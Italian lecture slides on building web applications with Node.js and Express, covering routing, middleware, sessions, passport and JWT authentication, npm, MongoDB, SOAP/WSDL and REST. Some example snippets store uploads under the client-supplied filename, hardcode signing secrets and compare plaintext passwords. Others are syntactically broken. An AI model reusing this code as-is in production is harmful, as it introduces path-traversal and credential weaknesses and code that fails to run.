Viene eseguito un singolo thread non bloccante e viene programmato in maniera asincrona

Node.js: possibilità

  • Generazione di documenti web dinamici
  • Gestione del filesystem sul server
  • Operazioni CRUD su database
  • Raccolta di dati da form

Funzionamento

  • Creo un documento JavaScript
  • Lo inizializzo da riga di comando tramite l'eseguibile node
$ node miofile.js
  • Quando viene eseguito?
  • Di base subito, a noi interessa quando riceviamo una request HTTP

Moduli

  • I moduli sono delle librerie JavaScript: insieme di funzioni da importare
  • Node.js ha dei moduli di default: built-in
  • Un modulo si include tramite require()
const http = require('http');

Moduli

I moduli si possono creare ed includere a piacimento

mymodule.js

exports.myFunction = function () {
  return "something";
};
const myf = require('./mymodule');
console.log(myf.myFunction()

Node.js come WebServer

Modulo principale built-in: http

const http = require('http');

http.createServer(function (req, res) {
  res.write('Buongiornissimo!');
  res.end();
}).listen(8080);

Moduolo http

Ha vari metodi, a noi interessa createServer():

  • parametro opzionale requestListener:
    • invocato ogni volta viene ricevuta una Request HTTP
    • gestisce la richiesta e permette di scrivere una Response HTTP
    • paramentri:
      • request: oggetto IncomingMessage
      • response: oggetto ServerResponse
  • restituisce un oggetto HTTPServer
    • può essere messo in ascolto su una porta

Header Response

Scrittura HTTP Response

const http = require('http');

http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.write('Buongiornissimo!');
  res.end();
}).listen(8080);

Lettura Request

Posso leggere la HTTP Request

const http = require('http');

http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.write(req.url);
  res.end();
}).listen(8080);

Lettura dei parametri

Posso fare il parsing dei parametri della query string

const http = require('http');
const url = require('url');

http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});
  const q = url.parse(req.url, true).query;
  res.write(`${q.name} ${q.surname}`);
  res.end();
}).listen(8080);

Gestione File System

Leggiamo un documento da disco:

  • Usiamo il module fs
  • Di default asincrono, ma c'è la versione sincrona
const http = require('http');
const fs = require('fs');

http.createServer(function (req, res) {
  fs.readFile('index.html', function(err, data) {
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.write(data);
    return res.end();
  });
}).listen(8080);

Gestione File System

fs ha diverse funzionalità:

  • Creazione/aggiornamento file
    • fs.open()
    • fs.appendFile()
    • fs.writeFile()
  • Eliminazione file
    • fs.unlink()
  • Rinominazione file
    • fs.rename()

Gestione File System

const http = require('http');
const fs = require('fs');

http.createServer( (req, res) => {
  fs.readFile('index.html', (err, data) => {
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.write(data);
    return res.end();
  });
}).listen(8080);

possiamo usare arrow function, promise, async, ...

Eventi

  • Ogni azione in Node.js è un evento
    • apertura file
    • connessione
    • ...
  • Posso lanciare o ascoltare eventi "custom" con il module events
const http = require('http');
const events = require('events');
const eventEmitter = new events.EventEmitter();
const myEventHandler = function () {
  console.log('Ho sentito qualcosa!');
}
eventEmitter.on('rumore', myEventHandler);
eventEmitter.emit('rumore');

Esempio: upload form (1)

const http = require('http');

http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.write('
'); res.write('
'); res.write(''); res.write('
'); return res.end(); }).listen(8080);

Esempio: upload form (2)

const http = require('http');
const formidable = require('formidable');

http.createServer(function (req, res) {
  if (req.url == '/fileupload') {
    const form = new formidable.IncomingForm();
    form.parse(req, function (err, fields, files) {
      res.write('File uploaded');
      res.end();
    });
  } else {
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.write('
'); res.write('
'); res.write(''); res.write('
'); return res.end(); } }).listen(8080);

Esempio: upload form (3)

const fs = require('fs');
/* ... */

http.createServer(function (req, res) {
  if (req.url == '/fileupload') {
    const form = new formidable.IncomingForm();
    form.parse(req, function (err, fields, files) {
      const oldpath = files.filetoupload.filepath;
      const newpath = `${__dirname}/${files.filetoupload.originalFilename}`;
      fs.copyFile(oldpath, newpath, function (err) {
        if (err) throw err;
        res.write('File uploaded and moved!');
        res.end();
      });
    });
  } else {
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.write('...');
    return res.end();
  }
}).listen(8080);

Template HTML

Generare un documento web da zero è scomodo

  • Potrei riciclare alcune parti
  • Voglio evitare di mettere HTML nel mio codice JS

Soluzione: template

Template HTML

Schema HTML con parti variabili:

  • Modifico solo le parti variabili a runtime
  • Non includo HTML nel mio codice
  • Posso usare un modulo che faccia da tamplate engine

Quale modulo?

Limiti di http

  • Gestire richieste a URL diversi
  • Difficile gestire i diversi metodi (GET, POST, DELETE, ...)
  • Fornire file statici
  • Usare dei template

Soluzione? Usiamo un framework!

Express

Il framework più utilizzato in ambito Node.js è Express

  • Handler per gestire metodi e URL diversi
  • Integra dei template engine
  • Permette di gestire risorse statiche
  • È facilmente estendibile con una pipeline di middleware

Express

  • Di base Express è molto minimale
  • Esistono molti module per gestire i casi d'uso più comuni:
    • cookie
    • sessioni
    • autenticazione
    • header
    • sicurezza
    • ...
  • Si basano sul concetto di middleware
  • Contro: dobbiamo scegliere la libreria giusta

"opinionated" vs. "unopinionated"

I framewark si dividono in due tipologie:

  • Opinionated
    • Descrivono "un modo" per risolvere un problema
    • Sviluppo rapido in un particolare dominio
    • Minore felssibilità
  • Unopionionated
    • Non descrivono "un modo" per risolvere un problema
    • Maggiore libertà al programmatore
    • Più codice da scrivere

Express è unopionionated

Express

  • Una applicazione web tipicamente:
    • Aspetta una Request HTTP
    • Decide che azione fare a seconda dell'URL richiesto e del metodo usato
    • Se necessario, crea un HTML dinamico
    • Invia la Response HTTP
  • Express permette di specificare:
    • Delle funzioni da richiamare a seconda del metodo e dell'URL richiesto
    • Quale template engine utilizzare
    • Dove trovare le risorse statiche e i template
    • Che middleware usare per gestire tutto il resto

Express: esempio

const express = require("express");
const app = express();
const port = 3000;

app.get("/", (req, res) => {
  res.send("Buongiornissimo");
});

app.listen(port, () => {
  console.log(`In ascolto sulla porta ${port}!`);
});

Routing

  • Che azione fare in base a URL richiesto e metodo usato?
  • Viene definita una callback per ogni opzione interessante
  • La callback viene assegnata tramite un metodo dedicato ad ogni metodo HTTP
    • get()
    • post()
    • delete()
    • put()
    • all()
  • I parametri sono: il pattern della risorsa e la callback

Routing: esempio (1)

const express = require("express");
const app = express();
const port = 3000;

app.get('/book', (req, res) => { res.send('Leggi libro') });
app.post('/book', (req, res) => { res.send('Aggiungi libro') });
app.put('/book', (req, res) => { res.send('Modifica libro') });

app.listen(port, () => {
  console.log(`In ascolto sulla porta ${port}!`);
});

Routing: esempio (2)

Si può compattare

const express = require("express");
const app = express();
const port = 3000;

app.route('/book')
  .get((req, res) => { res.send('Leggi libro') })
  .post((req, res) => { res.send('Aggiungi libro') })
  .put((req, res) => { res.send('Modifica libro') });

app.listen(port, () => {
  console.log(`In ascolto sulla porta ${port}!`);
});

response

  • res.end() termina la response
  • res.json() invia un json
  • res.redirect() forza il client a fare una redirect
  • res.render() invoca un template engine
  • res.send() invia una risposta generica
  • ... altre ancora

Routing

Spesso è ultile raggruppare gli handler di una sezione del sito

wiki.js

const express = require("express");
const router = express.Router();

router.get("/", function (req, res) {
  res.send("Wiki home page");
});

router.get("/about", function (req, res) {
  res.send("Informazioni");
});

module.exports = router;

app.js

const wiki = require("./wiki.js");
/* … */
app.use("/wiki", wiki);

Routing paths

  • Le path di routing possono anche essere dei pattern
  • ?: risorsa avrà 0 o 1 ripetizione del carattere/gruppo precedente
  • +: risorsa avrà 0 o più ripetizione del carattere/gruppo precedetnte
  • *: risorsa può avere una stringa arbitraria al posto del simbolo
  • (): la stringa contenuta tra paretesi è un gruppo

Routing parameters

Una parte della risorsa può essere parametrica: named segment

Un named segment si definisce con : come prefisso

app.get("/utente/:userId/libro/:bookId", (req, res) => {
  console.log(req.params.userId, req.params.bookId);
  res.send(req.params);
});

Middleware

  • Largamente utilizato nelle applicazioni Express
    • Servire file statici
    • Gestire errori
    • Comprimere le risposte
    • ... molto altro
  • Sono uno "stack" di funzioni da eseguire
  • Le route function concludono il ciclo request-response HTTP

Middleware

Le funzioni middleware

  • Sono funzioni che accedono a
    • oggetto request
    • oggetto response
    • la successiva funziona middleware
  • Possono
    • Eseguire codice
    • Fare modifiche agli ogetti request e response
    • Terminare il ciclo request-response
    • Chiamare la prossima funzione middleware nello stach con next()

Middleware

  • Middleware può effetturare qualsiasi operazione
  • Le definisco con il metodo use()
  • Possono terminare il ciclo request-response
  • Se non lo fanno chiamano il prossimo middleware con next()

Middleware

const express = require("express");
const logger = require("morgan");
const app = express();
app.use(logger("dev"))

Middleware

Specifica dell'interfaccia dei vari metodi get(), post(), delete(), ...

app.METHOD(path, callback [, callback ...])
  • path → The path for which the middleware function is invoked; can be any of:
    • A string representing a path
    • A path pattern
    • A regular expression pattern to match paths
    • An array of combinations of any of the above
  • callback → Callback functions; can be:
    • A middleware function
    • A series of middleware functions (separated by commas)
    • An array of middleware functions
    • A combination of all of the above

Application level middleware

Esegui una funzione per qualsiasi request

app.use((req, res, next) => {
  /* fai qualcosa */
  next();
})

Esegui una funzione per una certa risorsa

app.use('/user/:id', (req, res, next) => {
  /* fai qualcosa */
  next();
});

Application level middleware

Esegui una funzione se viene fatta una request GET ad una certa risorsa

app.get('/user/:id', (req, res, next) => {
  /* fai qualcosa */
  next();
});

Esegui una sequenza di funzioni

app.use('/user/:id', (req, res, next) => {
  /* fai qualcosa */
  next();
}, (req, res, next) => {
  /* fai qualcosa */
  next();
})
        

File statici

Un middleware per gesitre i contenuti statici è di base in express: express.static

Utile quando dobbiamo gestire request per immagini, CSS, JavaScript e pagine statiche. Se il file non viene trovato, viene passata la request al prossimo middleware.

const express = require("express");
app.use(express.static("public"));
app.use(express.static("media"));
app.listen(port, function () {
  console.log('Esempio file server');
});

Sessioni

HTTP: stateless

HTTP è un protocollo di comunicazione stateless

Caso semplice:

  1. client C fa richiesta req1 a web server S che risponde con resp1
  2. client C fa richiesta req2 a web server S che risponde con resp2

La seconda richiesta è slegata dalla prima: resp2 viene prodotto solo sulla base di req2!

in caso contrario si dice stateful

HTTP: stateless web applications?

Esigenza reale (web application):

  1. CS: req1, SC: resp1 = f(req1)
  2. CS: req2, SC: resp2 = f(req2, req1)

Da un altro punto di vista:

  1. req1resp1 = f(req1, ∅), s1 = g(req1, ∅)
  2. req2resp2 = f(req2, s1), s2 = g(req2, s1)

Stateful web application

  1. req1resp1 = f(req1, ∅), s1 = g(req1, ∅)
  2. req2resp2 = f(req2, s1), s2 = g(req2, s1)
  • f e g sono la web application (es.: e-commerce)
  • req1: "sono il cliente X, mostrami la pagina delle cucce per cani"
  • resp1: pagina cucce cani con "ciao cliente X"
  • s1: <cliente=X;cart=∅>
  • req2: "compra cuccia per cani Y"
  • resp2: pagina "bravo X, hai comprato la cuccia Y"
  • s2: <cliente=X;cart=[Y]>

Stato

Da un altro punto di vista:

  1. s := s0
  2. reqresp = f(req, s), s := g(req,s)

s è lo stato del dialogo tra C e S

  • potrebbe contenere tantissime cose (tutta la storia dalla prima richiesta di C, i dati dell'app, ...)
  • quando contiene dati di breve termine, si chiama sessione

Stato: server con più client

Il web server S è multithreaded:

  • possono esistere più dialoghi contemporaneamente con più client C differenti
  • quando arriva una richiesta req da Ci come fa S a usare lo stato giusto tra quelli si?

Stato: server con più client

Risposta sbagliata:

S sa chi è Ci e "ripesca" si da una lista/mappa

  • Cosa sa S di C quando arriva req? (in altre parole: cosa contiene req su C?)
    • indirizzo IP
    • una vaghissima descrizione di qualcosa che riguarda un po' di C (user-agent)
  • Non va bene:
    • NAT
    • anonymizer
    • ...

Server con più client: idea di base

S, alla "prima" richiesta di C

  • nella risposta: "in tutte le prossime richieste, includi questo token t"
  • salva t in una lista dedicata

Quando arriva una richiesta req da un C:

  • se non contiene il token, è la "prima"
  • altrimenti ripesca lo stato

Richiede la collaborazione del client!

  • potrebbe non capire/buttare il token
  • potrebbe inserire in req un token a caso

Il token potrebbe essere S, di solito è molto più "piccolo"

Server con più client: idea di base

S include nella risposta: "in tutte le prossime richieste, includi questo token t"

Meccanismi:

  • cookie: il valore di un header HTTP
    • S mette t nel cookie c della risposta (t = c)
    • C mette il c nelle richieste
  • url rewriting
    • S riscrive tutti i link interni dei documenti delle risposte a C appendendo t come valore di un parametro GET

      href="store/dogs/index.jsp?type=jack_russel&sess_id=t

Cookies vs. url rewriting

  • C potrebbe non accettare i cookie
  • improbabile che C "depuri" i link dal sess_id
  • ... ma la soluzione dei cookie pare più comoda/elegante

Sessioni in Express

  • Usiamo il middleware express-session
  • Si basa su cookies
  • Viene creato una proprietà session all'interno dell'oggetto req
  • Gestito a livello di applicazione: se legato ad autenticazione bisogna fare attenzione!
  • Salvato in memoria (se voglio persistere posso legarlo ad un database)
  • secret: parametro richiesto, è il token per firmare il cookie ID
  • resave: forza il salvataggio della sessione, non sarebbe richeisto, ma il valore di default (true) è deprecato

Sessioni in Express

const session = require('express-session');
app.use(session({
    secret: 'segreto',
    resave: false
}));
app.post('/login', (req, res) => {
    /* codice per verificare se utente esiste */
    if(user !== null) {
        req.session.user = {
              email: user.email,
              name: user.name
        };
        res.redirect('/account');
    } else {
       /* Login non valido */
    }
});
app.get('/info', (req, res) => {
    if(!req.session.user) {
        res.redirect('/login');
    } else {
        res.send(req.session.user);
    }
});

Autorizzazione e autenticazione

Esigenza di base

L'accesso ad alcune risorse deve essere limitato

  • "accesso a risorse" ≈ "svolgimento di operazioni"
  • "limitato"...
    • nel tempo (dalle 9:00 alle 19:00)
    • secondo la provenienza fisica (solo richieste provenienti dalla macchina/rete C)
    • secondo il tipo di canale (HTTPS)
    • ...
    • secondo l'identità di chi richiede l'accesso

Perché limitare? Sicurezza!

Limitazione accesso e identità richiedente

L'accesso ad alcune risorse deve essere limitato, secondo l'identità di chi richiede l'accesso

  1. Client → Server: «Vorrei accedere alla risorsa req»
  2. Server: «req è tra le risorse ad accesso limitato? Sì»
  3. Server → Client «Chi sei?»
  4. Client → Server: «Sono C» }autenticazione
  5. Server: «Il client è veramente C? Sì»
  6. Server: «C può accedere a req? Sì» ← autorizzazione
  7. Server → Client «Eccoti req

A questo punto, il server considera C logged in per un po' di tempo/richieste (~ sessioni)

Autenticazione e autorizzazione

  • S: «Chi sei?» C: «Sono C» S: «Il client è veramente C? Sì»

    • Il server sa se/come chiedere al client chi è
    • Deve anche essere in grado di verificare l'affermazione di C: in assoluto complicato...
  • S: «C può accedere a req? Sì»

    • Il server sa chi può acceder a req: semplice (una lista)

Sicurezza dichiarativa/programmatica

Per noi, "sicurezza" ≈ "autenticazione/autorizzazione"

Dichiarativa → i processi di autenticazione/autorizzazione sono definiti nella configurazione

  • quali risorse sono ad accesso limitato
  • che meccanismo di richiesta credenziali usare, come validarle (autenticazione)
  • per ogni risorsa, chi può accedere (autorizzazione)

Sicurezza dichiarativa/programmatica

Programmatica → i processi di autenticazione/autorizzazione sono definiti (anche) nel codice

  • Necessaria nei casi non banali

    alla risorsa req possono accedere gli utenti U1, U2, U3 solo se l'utente U0 ha avuto accesso ad req almeno 5 volte

La definisce il programmatore "a manina"

Autenticazione su Express

Posso implementarla in due modi

  • Soluzione autocostruita
    • Sfrutto le sessioni
  • Uso un middleware
    • passport
    • Libreria pronto, ma fa tante cose

Autenticazione su Express

Autocostruita

app.post('/login', function(req, res){
   /* recupero credenziali dal DB */
   if(user.id === req.body.id && user.pass === req.body.pass){
      req.session.user = user;
      res.redirect('/restricted');
   }
   res.send('Credenziali non valide');
});
app.get('/restricted', checkSignIn, function(req, res){
   res.send('dati protetti');
});
function checkSignIn(req, res, next){
   if(req.session.user){ return next() }
   next(new Error("Non loggato!"));
}

Autenticazione su Express

Passport.js

const passport = require('passport');
const LocalStrategy = require('passport-local');
passport.use(new LocalStrategy((user, pass, done) => {
  /* verifico se username e pass sono ndel DB */
  if( !authenticated ){ return done(null, false); }
  if( authenticated ) return done(user);
});

app.get("/restricted", (req, res, next) => { 
    /* gestisci login */
    if (req.isAuthenticated()) { return next(); }
    res.redirect('/')
  },
  (req, res) => {
    /* body del metodo se autenticato */
});

JWT - JSON Web Token

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.
  • Non salvo più le informazioni nella sessione, ma nel client.
  • Come? Con una stringa (token) firmata!
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Tre sezioni, separate dal "." e codificate in Base64

  • Header → tipo di token e algoritmo usato per la firma
  • Payload
  • Firma

JWT - JSON Web Token

  1. Il client invia al server le credenziali
  2. Se tutto va bene, il server firma e restituisce il JWT
  3. Il client in tutte le comunicazioni successive invia il JWT al server
  4. Il server verifica la firma ed estrare i dati

Come si invia il token al server?

  • Header HTTP: Authorization: Bearer token
  • Custom...

JWT - JSON Web Token

  1. Il client invia al server le credenziali
  2. Se tutto va bene, il server firma e restituisce il JWT
  3. Il client in tutte le comunicazioni successive invia il JWT al server
  4. Il server verifica la firma ed estrare i dati

Cosa ci guadagno?

  • I server nel punto 1 e 3 possono essere diversi
  • Posso usare le stesse credenziali su più server
  • Non devo gestire a mano le sessioni (proprie di ogni container)

JWT in Node.js

const jwt = require('jsonwebtoken');
app.post('/api/login', (req,res)=>{
    const user = { /* dati utente */ };
    jwt.sign({user:user},'secretkey',(err,token)=>{
        res.json({token,});
    });
});
app.post('/api/profile', (req,res,next) => {
    const bearerHeader = req.headers['authorization'];
    if(typeof bearerHeader!=='undefined'){
        const bearerToken = bearerHeader.split(' ')[1];
        req.token=bearerToken;
        next();
    } else {
        res.sendStatus(403);
    }, (req,res)=>{
    jwt.verify(req.token, 'secretkey', (err, authData)=>{  
        if(err){ res.sendStatus(403);}
        else{ res.json({ /* dati */ });}
    });
});

NPM

Node Package Manager

  • Incluso in Node.js
  • Non legato all'uso di Node.js
  • Gestisce l'installazione di moduli/pacchetti (sinonimi)
  • Semplifica la vita...

package.json

  • Manifest dell'applicazione
  • Nome e versione dei moduli richiesti (dipendenze)
  • Vincoli sulle versioni (es: posso aggiornarlo?)
  • Crea gli script NPM

Si crea semplicemente con npm init

Installare, rimuovere e aggiornare

  • Aggiungere moduli: npm install cosa --save

    Perché --save?

    • I moduli vengono scaricati in node_modules
    • Non vogliamo portare la cartella nel controllo versione → salviamo in package.json
  • Dipendenze solo per sviluppo: npm install cosa --save-dev
  • Installare i moduli richiesti: npm install
    • in produzione: npm install --production
  • Rimuovere: npm uninstall cosa --save
  • Aggiornare: npm update cosa
  • Elencare: npm list
  • cosa può specificare la versione con @

Versioni

Le versioni sono sempre Major.Minor.Patch

  • Major: può rompere l'API
  • Minor: nuove feature, non rompe l'API
  • Patch: corregge bug

^Maj.min.patch → installa la minor/patch più recente

~Maj.min.patch → installa la patch più recente

Maj.min.patch → installa esattamente quella

* → installa la versione più recente (pericoloso)

Paccketti locali e globali

I pacchetti di default sono locali, propri di un progetto.

I pacchetti globali sono installati per tutto il PC.

  • npm install -g cosa

    Magari con sudo

  • npm remove -g cosa

Script NPM

Permettono di eseguire task

  • Definiti in package.json
  • Eseguiti con node run nomeScript
  • Alcune piattaforme cercano lo script start

    Si esegue direttamente con node start, senza run

MongoDB

MongoDB

Caso tipico di una web application: interagire con un database

La tipologia del database non è importante (SQL/NOSQL, indifferente)

Abbinamento Node.js e MongoDB viene "naturale"

MongoDB con Node.js

  • Connessione
  • Operazioni CRUD

Useremo il modulo mongodb

Connessione

Connection URI:

Fonte: MongoDB
  • Oggetto MongoClient per gestire connessione
  • Esporta una promise connect() che apre la connessione
  • Andrebbe chiuso in caso di errore o a fine operazioni con close()
  • MongoClient restituisce il database di MongoDB tramite db()
  • dal database posso accedere alla collection tramite collection()

Connessione

const { MongoClient } = require("mongodb");
const uri = "mongodb://localhost:27017";
const client = new MongoClient(uri);
async function connect() {
  try {
    await client.connect();
  } finally {
    await client.close();
  }
}
connect().catch(console.log);

Operazioni CRUD

  • Recupero documenti, ritornano o un singolo documento o un FindCursor
    • Collection.find()
    • Collection.findOne()
    • Collection.aggregate()
  • Inserimento documenti
    • Collection.insert()
    • Collection.insertOne()
  • Modifica documenti, posso modificare (serve un filtro) o sostituire
    • Collection.updateOne()
    • Collection.updateMany()
    • Collection.replaceOne()
  • Eliminazione documenti
    • Collection.deleteMany()
    • Collection.deleteOne()

Operazioni CRUD

const query = { title: "Titolo cercato" };
const options = {
  sort: { "imdb.rating": -1 }
};
const movie = await movies.findOne(query, options);
const query = { runtime: { $lt: 15 } };
const options = {
  sort: { "imdb.rating": -1 }
};
const cursor = movies.find(query, options);
await cursor.forEach(console.dir);
console.log(await cursor.toArray());

Web Services

Architettura web app

Vista nel corso:

Utente

Browser

Web server modulare
(Node.js + Express)

DBMS

Utente e app

L'utente può usare la app tramite:

  • browser su desktop
  • browser su smartphone
  • app su smartphone
  • app su smartTv
  • ...
  • utente è un'altra app

Tutti vogliono parlare con noi tramite Internet...

Interoperabilità

Web Services

Web services provide a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks.

Ma cosa cambia rispetto ad una pagina web normale?

Interoperabilità

Web Services

Web services provide a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks.

Ma cosa cambia rispetto ad una pagina web normale?

Cambia il destinatario:

  • Pagina Web → essere umano
  • Web Service → programma

Interoperabilità

Web Services

Web services provide a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks.

Ci sono tre possibili strade:

  1. Autocostruita
  2. Seguire uno standard esistente
  3. Implementare un design pattern predefinito

Quale scegliere?

  • Chi deve usare il sistema?
  • Che linguaggi deve supportare?

Strada 1: Autocostruita

Soluzione Autocostruita

Decidiamo noi lo standard con cui esporre il servizio

  • Abbiamo già tutti gli strumenti per farlo
  • Essenziale fornire una specifica su input e output
const express = require('express');
const app = express();
app.get('*', (req, res) => {
  if(req.query.program !== undefined){
    /*crea risposta XML per il programma chiamante*/
  } else {
    /*crea pagina HTML per l'essere umano*/
  }
});

Soluzione Autocostruita

Decidiamo noi lo standard con cui esporre il servizio.

Problemi:

  • Deserializzazione manuale dell'input (stringhe)
  • Quali linguaggi supporteremo?
  • Descrivere in modo ossessivo il tutto
    • "I numeri useranno il . quale separatore decimale"
    • "Il valore booleano falso è 'FALSE', qualunque altro è vero"
    • "Un intero può avere al massimo 64 bit"
    • ...
  • Non tragico se produttore == consumatore
  • ...che succede se domani altri dovranno usarlo?

Strada 2: Seguire uno standard

Seguire uno standard: breve storia

  • 1990: TCP/IP diventa LO standard
  • Nascono tante tecnologie, indipendenti dal linguaggio:
    • CORBA: usa Interface Description Language per descrivere le interfacce esposte, e CORBA si occupa poi di mapparlo al linguaggio di implementazione.

      E come si fa con C, che non è ad oggetti?

    • DCOM (Distributed COM): di Microsoft, per combattere CORBA. Aggiunge a COM il Marshalling e una Garbage Collection distribuita.

      Firewall non felici, non usa porta 80

    • Java RMI (Remote Method Invocation): chiamate da una JVM all'altra, poi esteso per esporre CORBA.

Seguire uno standard: breve storia

  • 2000: nasce la religione 🕯 XML 🕯
  • XML-RPC (Remote Procedure Call):
    • usa XML per codificare le chiamate;
    • trasporto via HTTP
    • i parametri non hanno nomi e vanno passati in ordine;
    • 6 pagine di specifiche.
  • SOAP (Simple Object Access Protocol): XML-RPC evoluto
    • usa XML per codificare le chiamate;
    • usa HTTP(s), SMTP, JMS, ...;
    • parametri con nome;
    • pensato per trasmettere anche documenti;
    • 44 pagine di specifiche

XML-RPC nasce perché Microsoft tentennava nell'approvare SOAP!

SOAP

Standard di W3C, attualmente alla versione 1.2. Elementi principali:

Envelope

Header
Body
Fault

Header: meta-informazioni (es: versione, informazioni su transazioni, ecc.)

Solo Envelope e Body sono obbligatori

SOAP Message

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope/" soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
  <soap:Header>
    ...
  </soap:Header>
  <soap:Body>
    ...
    <soap:Fault>
      ...
    </soap:Fault>
  </soap:Body>
</soap:Envelope>

L'encoding dei dati non è predefinito, e possono convivere più tipi di encoding

SOAP Body

Usato per Request...

<soap:Body>
  <m:GetPrice xmlns:m="http://www.w3c.com/prices">
    <m:Item>Apples</m:Item>
  </m:GetPrice>
</soap:Body>

...e Response

<soap:Body>
  <m:GetPriceResponse xmlns:m="http://www.w3c.com/prices">
    <m:Price>1.90</m:Price>
  </m:GetPriceResponse>
</soap:Body>

...ed eventuali errori

SOAP Binding

Finora non abbiamo parlato del canale o del server con cui parlare...

Se si usa HTTP, gli header devono specificare:

  • Content-Type: di solito è application/soap+xml
  • Content-Length
  • SOAPAction: "URI"
    • non deve per forza essere risolvibile;
    • non dipende dalle specifiche SOAP, ma dall'applicazione

SOAP: messaggio completo

POST /InStock HTTP/1.1
Host: www.example.org
Content-Type: application/soap+xml; charset=utf-8
Content-Length: nnn
SOAPAction: "/GetStockPrice"

<?xml version="1.0"?>
  <soap:Envelope
  xmlns:soap="http://www.w3.org/2003/05/soap-envelope/"
  soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
  <soap:Body xmlns:m="http://www.example.org/stock">
    <m:GetStockPrice>
      <m:StockName>IBM</m:StockName>
    </m:GetStockPrice>
  </soap:Body>

</soap:Envelope>

SOAP Errors

Il server in risposta dovrebbe dare solo:

  • 2xx: messaggio ricevuto e compreso
    • potrei comunque avere errori in Body/Fault
  • 500: il messaggio non può essere processato
    • mancano informazioni
    • non compreso, ecc.
    • dovrei comunque ottenere una envelope il cui Body/Fault contiene la spiegazione.

SOAP e Allegati

E se dovessi inviare degli allegati?

Soluzione 1: codificato nell'envelope in BASE64

... molto poco efficiente...

SOAP e Allegati - MTOM

E se dovessi inviare degli allegati?

Soluzione 2: Message Transmission Optimization Mechanism

utilizzando MIME e Multipart

MIME-version: 1.0
Content-Type: Multipart/Related; ...
--MIME_boundary
Content-Type: text/xml; ...
<?xml version="1.0" ?>
<env:Envelope ...
  <someTag href="cid:attached.gif@company.com"/>
</end:Envelope>
...
--MIME_boundary
Content-Type: image/gif
Content-Transfer-Encoding: binary
Content-ID: <"attached.gif@company.com">
...binary dell'immagine...

SOAP e Node.js

Come realizzo un Web Service?

  1. Scrivo un programma e gestisco il metodo POST
    • molto lavoro
    • possibile che non ci sia una soluzione già pronta?

SOAP e Node.js

Come realizzo un Web Service?

  1. Scrivo un mio script e gestisco il metodo POST
    • molto lavoro
    • possibile che non ci sia una soluzione già pronta?
  2. Utilizzo node-soap:
    • Modulo dedicato per servizi SOAP
    • Alternativo ad Express

SOAP e Documentazione

Ma ho ancora un grosso problema: come fa l'utente a sapere

  • che WebService espongo?
  • che parametri accettano?
  • cosa otterrò come risposta?

Devo scrivere documentazione?

SOAP e Documentazione

Ma ho ancora un grosso problema: come fa l'utente a sapere

  • che WebService espongo?
  • che parametri accettano?
  • cosa otterrò come risposta?

Devo scrivere documentazione? NO!

Web Services Description Language, standard W3C

WSDL

Usa XML per definire le interfacce, composto da quattro elementi:

  • <types>: tipi di dati usati dal WS (non necessario se uso i primitivi già noti)
  • <message>: definizione dei dati che vengono trasmessi
  • <portType>: operazioni che si possono compiere e relativi messaggi
  • <binding>: protocollo e formato dei dati usati per ogni porta

WSDL

<portType> non gestisce solo domande e risposte:

  • One-way: il WS riceve dati ma non ne restituisce
  • Request-response: il WS riceve ed invia dati
  • Solicit-response: il WS invia dati al client e attende una risposta
  • Notification: il WS invia solo dati

Si passa da uno all'altro cambiando l'ordine e la presenza degli elementi input/output

WSDL - Esempio

<message name="getTermRequest">
  <part name="term" type="xs:string"/>
</message>
<message name="getTermResponse">
  <part name="value" type="xs:string"/>
</message>

<portType name="glossaryTerms">
  <operation name="getTerm">
    <input message="getTermRequest"/>
    <output message="getTermResponse"/>
  </operation>
</portType>

<binding type="glossaryTerms" name="b1">
   <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http" />
   <operation>
     <soap:operation soapAction="http://example.com/getTerm"/>
     <input><soap:body use="literal"/></input>
     <output><soap:body use="literal"/></output>
  </operation>
</binding>

Strada 3: Implementare un design pattern

RESTful Web service

Representational State Transfer (RESTful)

  • trasferimento dello stato (attuale o desiderato) di una rappresentazione della risorsa
  • operazioni sulle risorse sono quelle tipiche (CRUD: crea, leggi, aggiorna, cancella)
  • non è uno standard per descrivere l'interfaccia
  • non è uno standard per descrivere lo scambio dati
  • nessun rigido contratto client-server
  • un client rest è assimilabile ad un browser

Nasce dalla tesi di Roy T. Fielding

RESTful Web service

Elementi chiave:

  • A REST API should be independent: on any single communication protocol, though its successful mapping to a given protocol may be dependent on the availability of metadata, choice of methods, etc.
  • A REST API should not contain any changes to the communication protocols aside from filling-out or fixing the details of underspecified bits of standard protocols

RESTful Web Service: HATEOAS

Hypermedia as the Engine of Application State

  • HTTP + JSON
  • È il modo più diffuso per implementare API REST
  • Una base URL per ogni risorsa, es. http://myapp.com/api/entry
  • La tecnologia Java è JAX-RS
    • non c'è un vero e proprio standard
    • non genera documentazione per i client (ma posso farmi aiutare: Swagger, conforme a OpenAPI)

RESTful WS: operazioni HATEOAS

  • operazioni su collection: http://myapp.com/api/entry
    • GET: legge gli item della collection (eventualmente con parametri)
    • PUT: sostituisce la collecion
    • POST: inserisce un elemento nella collection
    • PATCH: modifica parziale (?)
    • DELETE: elimina l'intera collection
  • operazioni su singolo item: http://myapp.com/api/entry/17
    • GET: legge l'item 17
    • PUT: sostituisce l'item 17
    • DELETE: elimina l'item 17
    • ....

non è necessario implementare tutto

REST: esempio

Risorsa Metodo
Lista libri [GET] /books.
Dettaglio libro [GET] /books/<id>.
Creazione libro [POST] /books POST.
